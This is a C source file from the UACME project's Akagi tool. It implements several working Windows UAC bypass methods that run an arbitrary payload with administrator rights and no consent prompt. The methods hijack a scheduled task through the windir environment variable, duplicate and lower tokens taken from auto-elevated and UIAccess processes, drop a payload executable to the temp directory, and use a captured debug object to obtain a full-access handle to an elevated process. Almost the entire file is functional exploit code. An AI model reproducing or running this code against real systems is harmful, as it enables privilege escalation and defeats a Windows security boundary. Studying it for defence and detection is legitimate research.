UACME/Source/Akagi/methods/tyranid.c

762 lines
20 KiB
C

/*******************************************************************************
*
* (C) COPYRIGHT AUTHORS, 2017 - 2020
*
* TITLE: TYRANID.C
*
* VERSION: 3.23
*
* DATE: 17 Dec 2019
*
* James Forshaw autoelevation method(s)
* Fine Dinning Tool (c) CIA
*
* For description please visit original URL
* https://tyranidslair.blogspot.ru/2017/05/exploiting-environment-variables-in.html
* https://tyranidslair.blogspot.ru/2017/05/reading-your-way-around-uac-part-1.html
* https://tyranidslair.blogspot.ru/2017/05/reading-your-way-around-uac-part-2.html
* https://tyranidslair.blogspot.ru/2017/05/reading-your-way-around-uac-part-3.html
* https://tyranidslair.blogspot.com/2019/02/accessing-access-tokens-for-uiaccess.html
* https://googleprojectzero.blogspot.com/2019/12/calling-local-windows-rpc-servers-from.html
*
* THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF
* ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED
* TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A
* PARTICULAR PURPOSE.
*
*******************************************************************************/
#include "global.h"
/*
* ucmDiskCleanupEnvironmentVariable
*
* Purpose:
*
* DiskCleanup task uses current user environment variables to build a path to the executable.
* Warning: this method works with AlwaysNotify UAC level.
*
*/
NTSTATUS ucmDiskCleanupEnvironmentVariable(
_In_ LPWSTR lpszPayload
)
{
NTSTATUS MethodResult = STATUS_ACCESS_DENIED;
WCHAR szEnvVariable[MAX_PATH * 2];
do {
if (_strlen(lpszPayload) > MAX_PATH)
return STATUS_INVALID_PARAMETER;
//
// Add quotes.
//
szEnvVariable[0] = L'\"';
szEnvVariable[1] = 0;
_strncpy(&szEnvVariable[1], MAX_PATH, lpszPayload, MAX_PATH);
_strcat(szEnvVariable, L"\"");
//
// Set our controlled env.variable with payload.
//
if (!supSetEnvVariable(FALSE, NULL, T_WINDIR, szEnvVariable))
break;
//
// Run trigger task.
//
if (supRunProcess(SCHTASKS_EXE, T_SCHTASKS_CMD))
MethodResult = STATUS_SUCCESS;
//
// Cleaup our env.variable.
//
supSetEnvVariable(TRUE, NULL, T_WINDIR, NULL);
} while (FALSE);
return MethodResult;
}
/*
* ucmTokenModification
*
* Purpose:
*
* Obtains the token from an auto-elevated process, modifies it, and reuses it to execute as administrator.
*
* Fixed in Windows 10 RS5
*
*/
NTSTATUS ucmTokenModification(
_In_ LPWSTR lpszPayload,
_In_ BOOL fUseCommandLine
)
{
BOOL bSelfRun = FALSE;
ULONG dummy;
NTSTATUS Status = STATUS_ACCESS_DENIED;
HANDLE hTargetProcess = NULL;
HANDLE hProcessToken = NULL, hDupToken = NULL, hLuaToken = NULL, hImpToken = NULL;
LPWSTR lpApplicationName, lpCommandLine;
PSYSTEM_PROCESSES_INFORMATION ProcessList, pList;
SID_IDENTIFIER_AUTHORITY MLAuthority = SECURITY_MANDATORY_LABEL_AUTHORITY;
PSID pIntegritySid = NULL;
TOKEN_MANDATORY_LABEL tml;
SECURITY_QUALITY_OF_SERVICE sqos;
OBJECT_ATTRIBUTES obja;
CLIENT_ID cid;
STARTUPINFO si;
PROCESS_INFORMATION pi;
SHELLEXECUTEINFO shinfo;
TOKEN_ELEVATION tei;
RtlSecureZeroMemory(&shinfo, sizeof(shinfo));
do {
hTargetProcess = NULL;
//
// Attempt to locate already elevated process running in the system.
//
InitializeObjectAttributes(&obja, NULL, 0, 0, NULL);
ProcessList = (PSYSTEM_PROCESSES_INFORMATION)supGetSystemInfo(SystemProcessInformation);
if (ProcessList) {
pList = ProcessList;
for (;;) {
cid.UniqueProcess = pList->UniqueProcessId;
cid.UniqueThread = NULL;
//
// Open process and query it process token elevation state.
//
Status = NtOpenProcess(&hTargetProcess, MAXIMUM_ALLOWED, &obja, &cid);
if (NT_SUCCESS(Status)) {
Status = NtOpenProcessToken(hTargetProcess, MAXIMUM_ALLOWED, &hProcessToken);
if (NT_SUCCESS(Status)) {
tei.TokenIsElevated = 0;
Status = NtQueryInformationToken(hProcessToken,
TokenElevation, &tei,
sizeof(TOKEN_ELEVATION), &dummy);
if (NT_SUCCESS(Status)) {
//
// Elevated process found, don't close it handles as we will re-use them next.
//
if (tei.TokenIsElevated > 0) {
break;
}
}
NtClose(hProcessToken);
hProcessToken = NULL;
}
NtClose(hTargetProcess);
hTargetProcess = NULL;
}
if (pList->NextEntryDelta == 0)
break;
pList = (PSYSTEM_PROCESSES_INFORMATION)(((LPBYTE)pList) + pList->NextEntryDelta);
}
supHeapFree(ProcessList);
}
//
// If not found then run it.
//
if (hTargetProcess == NULL) {
//
// Run autoelevated app (any).
//
shinfo.cbSize = sizeof(shinfo);
shinfo.fMask = SEE_MASK_NOCLOSEPROCESS;
shinfo.lpFile = WUSA_EXE;
shinfo.nShow = SW_HIDE;
if (!ShellExecuteEx(&shinfo)) {
break;
}
else {
bSelfRun = TRUE;
hTargetProcess = shinfo.hProcess;
}
}
//
// Open token of elevated process.
//
if (hProcessToken == NULL) {
Status = NtOpenProcessToken(hTargetProcess, MAXIMUM_ALLOWED, &hProcessToken);
if (!NT_SUCCESS(Status))
break;
}
//
// Duplicate primary token.
//
sqos.Length = sizeof(SECURITY_QUALITY_OF_SERVICE);
sqos.ImpersonationLevel = SecurityImpersonation;
sqos.ContextTrackingMode = 0;
sqos.EffectiveOnly = FALSE;
InitializeObjectAttributes(&obja, NULL, 0, NULL, NULL);
obja.SecurityQualityOfService = &sqos;
Status = NtDuplicateToken(hProcessToken, TOKEN_ALL_ACCESS, &obja, FALSE, TokenPrimary, &hDupToken);
if (!NT_SUCCESS(Status))
break;
//
// Lower duplicated token IL from High to Medium.
//
Status = RtlAllocateAndInitializeSid(&MLAuthority,
1, SECURITY_MANDATORY_MEDIUM_RID,
0, 0, 0, 0, 0, 0, 0,
&pIntegritySid);
if (!NT_SUCCESS(Status))
break;
tml.Label.Attributes = SE_GROUP_INTEGRITY;
tml.Label.Sid = pIntegritySid;
Status = NtSetInformationToken(hDupToken, TokenIntegrityLevel, &tml,
(ULONG)(sizeof(TOKEN_MANDATORY_LABEL) + RtlLengthSid(pIntegritySid)));
if (!NT_SUCCESS(Status))
break;
//
// Create restricted token.
//
Status = NtFilterToken(hDupToken, LUA_TOKEN, NULL, NULL, NULL, &hLuaToken);
if (!NT_SUCCESS(Status))
break;
//
// Impersonate logged on user.
//
hImpToken = NULL;
Status = NtDuplicateToken(hLuaToken, TOKEN_IMPERSONATE | TOKEN_QUERY,
&obja,
FALSE,
TokenImpersonation,
&hImpToken);
if (!NT_SUCCESS(Status))
break;
Status = NtSetInformationThread(
NtCurrentThread(),
ThreadImpersonationToken,
&hImpToken,
sizeof(HANDLE));
if (!NT_SUCCESS(Status))
break;
NtClose(hImpToken);
hImpToken = NULL;
//
// Run target.
//
RtlSecureZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
GetStartupInfo(&si);
si.dwFlags = STARTF_USESHOWWINDOW;
si.wShowWindow = SW_SHOW;
RtlSecureZeroMemory(&pi, sizeof(pi));
if (fUseCommandLine) {
lpApplicationName = NULL;
lpCommandLine = lpszPayload;
}
else {
lpApplicationName = lpszPayload;
lpCommandLine = NULL;
}
if (CreateProcessWithLogonW(TEXT("uac"), TEXT("is"), TEXT("useless"),
LOGON_NETCREDENTIALS_ONLY,
lpApplicationName,
lpCommandLine,
0,
NULL,
NULL,
&si,
&pi))
{
if (pi.hThread) CloseHandle(pi.hThread);
if (pi.hProcess) CloseHandle(pi.hProcess);
Status = STATUS_SUCCESS;
}
//
// Revert to self.
//
hImpToken = NULL;
NtSetInformationThread(
NtCurrentThread(),
ThreadImpersonationToken,
(PVOID)&hImpToken,
sizeof(HANDLE));
} while (FALSE);
if (hImpToken) NtClose(hImpToken);
if (hProcessToken) NtClose(hProcessToken);
if (hDupToken) NtClose(hDupToken);
if (hLuaToken) NtClose(hLuaToken);
if (bSelfRun) {
NtTerminateProcess(hTargetProcess, STATUS_SUCCESS);
}
if (hTargetProcess) NtClose(hTargetProcess);
if (pIntegritySid) RtlFreeSid(pIntegritySid);
return Status;
}
/*
* ucmxTokenModUIAccessMethodInitPhase
*
* Purpose:
*
* Convert dll to new entrypoint/exe.
*
*/
BOOL ucmxTokenModUIAccessMethodInitPhase(
_In_ PVOID ProxyDll,
_In_ DWORD ProxyDllSize
)
{
BOOL bResult = FALSE;
WCHAR szBuffer[MAX_PATH * 2];
do {
//
// Patch Fubuki to the new entry point and convert to EXE
//
if (!supReplaceDllEntryPoint(ProxyDll,
ProxyDllSize,
FUBUKI_ENTRYPOINT_UIACCESS2,
TRUE))
{
break;
}
//
// Drop modified Fubuki.exe to the %temp%
//
RtlSecureZeroMemory(szBuffer, sizeof(szBuffer));
_strcpy(szBuffer, g_ctx->szTempDirectory);
_strcat(szBuffer, FUBUKI_EXE);
if (!supWriteBufferToFile(szBuffer, ProxyDll, ProxyDllSize))
break;
bResult = TRUE;
} while (FALSE);
if (bResult == FALSE) {
_strcpy(szBuffer, g_ctx->szTempDirectory);
_strcat(szBuffer, FUBUKI_EXE);
DeleteFile(szBuffer);
}
return bResult;
}
/*
* ucmTokenModUIAccessMethod
*
* Purpose:
*
* Obtain token from UIAccess application, modify it and reuse for UAC bypass.
*
*/
NTSTATUS ucmTokenModUIAccessMethod(
_In_ PVOID ProxyDll,
_In_ DWORD ProxyDllSize
)
{
NTSTATUS Status = STATUS_ACCESS_DENIED;
LPWSTR lpszPayload = NULL;
PSID pIntegritySid = NULL;
HANDLE hDupToken = NULL, hProcessToken = NULL;
SHELLEXECUTEINFO shinfo;
SID_IDENTIFIER_AUTHORITY MLAuthority = SECURITY_MANDATORY_LABEL_AUTHORITY;
TOKEN_MANDATORY_LABEL tml;
SECURITY_QUALITY_OF_SERVICE sqos;
OBJECT_ATTRIBUTES obja;
WCHAR szBuffer[MAX_PATH * 2];
STARTUPINFO si;
PROCESS_INFORMATION pi;
RtlSecureZeroMemory(&shinfo, sizeof(shinfo));
do {
//
// Tweak and drop payload to %temp%.
//
if (!ucmxTokenModUIAccessMethodInitPhase(ProxyDll, ProxyDllSize))
break;
//
// Spawn OSK.exe process.
//
_strcpy(szBuffer, g_ctx->szSystemDirectory);
_strcat(szBuffer, OSK_EXE);
shinfo.cbSize = sizeof(shinfo);
shinfo.fMask = SEE_MASK_NOCLOSEPROCESS;
shinfo.lpFile = szBuffer;
shinfo.nShow = SW_HIDE;
if (!ShellExecuteEx(&shinfo))
break;
//
// Open process token.
//
Status = NtOpenProcessToken(shinfo.hProcess, TOKEN_DUPLICATE | TOKEN_QUERY, &hProcessToken);
if (!NT_SUCCESS(Status))
break;
//
// Duplicate primary token.
//
sqos.Length = sizeof(SECURITY_QUALITY_OF_SERVICE);
sqos.ImpersonationLevel = SecurityImpersonation;
sqos.ContextTrackingMode = 0;
sqos.EffectiveOnly = FALSE;
InitializeObjectAttributes(&obja, NULL, 0, NULL, NULL);
obja.SecurityQualityOfService = &sqos;
Status = NtDuplicateToken(hProcessToken, TOKEN_ALL_ACCESS, &obja, FALSE, TokenPrimary, &hDupToken);
if (!NT_SUCCESS(Status))
break;
NtClose(hProcessToken);
hProcessToken = NULL;
NtTerminateProcess(shinfo.hProcess, STATUS_SUCCESS);
NtClose(shinfo.hProcess);
shinfo.hProcess = NULL;
//
// Lower duplicated token IL from Medium+ to Medium.
//
Status = RtlAllocateAndInitializeSid(&MLAuthority,
1, SECURITY_MANDATORY_MEDIUM_RID,
0, 0, 0, 0, 0, 0, 0,
&pIntegritySid);
if (!NT_SUCCESS(Status))
break;
tml.Label.Attributes = SE_GROUP_INTEGRITY;
tml.Label.Sid = pIntegritySid;
Status = NtSetInformationToken(hDupToken, TokenIntegrityLevel, &tml,
(ULONG)(sizeof(TOKEN_MANDATORY_LABEL) + RtlLengthSid(pIntegritySid)));
if (!NT_SUCCESS(Status))
break;
RtlSecureZeroMemory(&pi, sizeof(PROCESS_INFORMATION));
RtlSecureZeroMemory(&si, sizeof(STARTUPINFO));
si.cb = sizeof(STARTUPINFO);
GetStartupInfo(&si);
//
// Run second stage exe to perform some gui hacks.
//
_strcpy(szBuffer, g_ctx->szTempDirectory);
_strcat(szBuffer, FUBUKI_EXE);
if (g_ctx->OptionalParameterLength == 0)
lpszPayload = g_ctx->szDefaultPayload;
else
lpszPayload = g_ctx->szOptionalParameter;
if (CreateProcessAsUser(hDupToken,
szBuffer, //application
lpszPayload, //command line
NULL,
NULL,
FALSE,
CREATE_DEFAULT_ERROR_MODE | NORMAL_PRIORITY_CLASS,
NULL,
NULL,
&si,
&pi))
{
if (WaitForSingleObject(pi.hProcess, 10000) == WAIT_TIMEOUT)
TerminateProcess(pi.hProcess, (UINT)-1);
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
Status = STATUS_SUCCESS;
}
} while (FALSE);
if (hProcessToken) NtClose(hProcessToken);
if (shinfo.hProcess) {
NtTerminateProcess(shinfo.hProcess, STATUS_SUCCESS);
NtClose(shinfo.hProcess);
}
if (hDupToken) NtClose(hDupToken);
if (pIntegritySid) RtlFreeSid(pIntegritySid);
_strcpy(szBuffer, g_ctx->szTempDirectory);
_strcat(szBuffer, FUBUKI_EXE);
DeleteFile(szBuffer);
return Status;
}
/*
* ucmxCreateProcessFromParent
*
* Purpose:
*
* Create new process using parent process handle.
*
*/
NTSTATUS ucmxCreateProcessFromParent(
_In_ HANDLE ParentProcess,
_In_ LPWSTR Payload)
{
NTSTATUS status = STATUS_UNSUCCESSFUL;
SIZE_T size = 0x30;
STARTUPINFOEX si;
PROCESS_INFORMATION pi;
RtlSecureZeroMemory(&pi, sizeof(pi));
RtlSecureZeroMemory(&si, sizeof(si));
si.StartupInfo.cb = sizeof(STARTUPINFOEX);
do {
if (size > 1024)
break;
si.lpAttributeList = supHeapAlloc(size);
if (si.lpAttributeList) {
if (InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &size)) {
if (UpdateProcThreadAttribute(si.lpAttributeList, 0,
PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &ParentProcess, sizeof(HANDLE), 0, 0)) //-V616
{
si.StartupInfo.dwFlags = STARTF_USESHOWWINDOW;
si.StartupInfo.wShowWindow = SW_SHOW;
if (CreateProcess(NULL,
Payload,
NULL,
NULL,
FALSE,
CREATE_UNICODE_ENVIRONMENT | EXTENDED_STARTUPINFO_PRESENT,
NULL,
g_ctx->szSystemRoot,
(LPSTARTUPINFO)&si,
&pi))
{
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
status = STATUS_SUCCESS;
}
}
}
if (si.lpAttributeList)
DeleteProcThreadAttributeList(si.lpAttributeList); //dumb empty routine
supHeapFree(si.lpAttributeList);
}
} while (GetLastError() == ERROR_INSUFFICIENT_BUFFER);
return status;
}
/*
* ucmDebugObjectMethod
*
* Purpose:
*
* Bypass UAC by direct RPC call to APPINFO and DebugObject use.
*
*/
NTSTATUS ucmDebugObjectMethod(
_In_ LPWSTR lpszPayload
)
{
//UINT retryCount = 0;
NTSTATUS status = STATUS_ACCESS_DENIED;
HANDLE dbgHandle = NULL, dbgProcessHandle, dupHandle;
PROCESS_INFORMATION procInfo;
DEBUG_EVENT dbgEvent;
WCHAR szProcess[MAX_PATH * 2];
do {
//
// Spawn initial non elevated victim process under debug.
//
//do { /* remove comment for attempt to spam debug object within thread pool */
_strcpy(szProcess, g_ctx->szSystemDirectory);
_strcat(szProcess, WINVER_EXE);
if (!AicLaunchAdminProcess(szProcess,
szProcess,
0,
CREATE_UNICODE_ENVIRONMENT | DEBUG_PROCESS,
g_ctx->szSystemRoot,
T_DEFAULT_DESKTOP,
NULL,
INFINITE,
SW_HIDE,
&procInfo))
{
status = STATUS_UNSUCCESSFUL;
break;
}
//
// Capture debug object handle.
//
status = supGetProcessDebugObject(procInfo.hProcess,
&dbgHandle);
if (!NT_SUCCESS(status))
break;
//
// Detach debug and kill non elevated victim process.
//
NtRemoveProcessDebug(procInfo.hProcess, dbgHandle);
TerminateProcess(procInfo.hProcess, 0);
CloseHandle(procInfo.hThread);
CloseHandle(procInfo.hProcess);
//} while (++retryCount < 20);
//
// Spawn elevated victim under debug.
//
_strcpy(szProcess, g_ctx->szSystemDirectory);
_strcat(szProcess, TASKMGR_EXE);
RtlSecureZeroMemory(&procInfo, sizeof(procInfo));
RtlSecureZeroMemory(&dbgEvent, sizeof(dbgEvent));
if (!AicLaunchAdminProcess(szProcess,
szProcess,
1,
CREATE_UNICODE_ENVIRONMENT | DEBUG_PROCESS,
g_ctx->szSystemRoot,
T_DEFAULT_DESKTOP,
NULL,
INFINITE,
SW_HIDE,
&procInfo))
{
status = STATUS_UNSUCCESSFUL;
break;
}
//
// Update thread TEB with debug object handle to receive debug events.
//
DbgUiSetThreadDebugObject(dbgHandle);
dbgProcessHandle = NULL;
//
// Debugger wait cycle.
//
while (1) {
if (!WaitForDebugEvent(&dbgEvent, INFINITE))
break;
switch (dbgEvent.dwDebugEventCode) {
//
// Capture initial debug event process handle.
//
case CREATE_PROCESS_DEBUG_EVENT:
dbgProcessHandle = dbgEvent.u.CreateProcessInfo.hProcess;
break;
}
if (dbgProcessHandle)
break;
ContinueDebugEvent(dbgEvent.dwProcessId, dbgEvent.dwThreadId, DBG_CONTINUE);
}
if (dbgProcessHandle == NULL)
break;
//
// Create new handle from captured with PROCESS_ALL_ACCESS.
//
dupHandle = NULL;
status = NtDuplicateObject(dbgProcessHandle,
NtCurrentProcess(),
NtCurrentProcess(),
&dupHandle,
PROCESS_ALL_ACCESS,
0,
0);
if (NT_SUCCESS(status)) {
//
// Run new process with parent set to duplicated process handle.
//
ucmxCreateProcessFromParent(dupHandle, lpszPayload);
NtClose(dupHandle);
}
#pragma warning(push)
#pragma warning(disable: 6387)
DbgUiSetThreadDebugObject(NULL);
#pragma warning(pop)
NtClose(dbgHandle);
dbgHandle = NULL;
CloseHandle(dbgProcessHandle);
//
// Release victim process.
//
CloseHandle(procInfo.hThread);
TerminateProcess(procInfo.hProcess, 0);
CloseHandle(procInfo.hProcess);
} while (FALSE);
if (dbgHandle) NtClose(dbgHandle);
SetEvent(g_ctx->SharedContext.hCompletionEvent);
return status;
}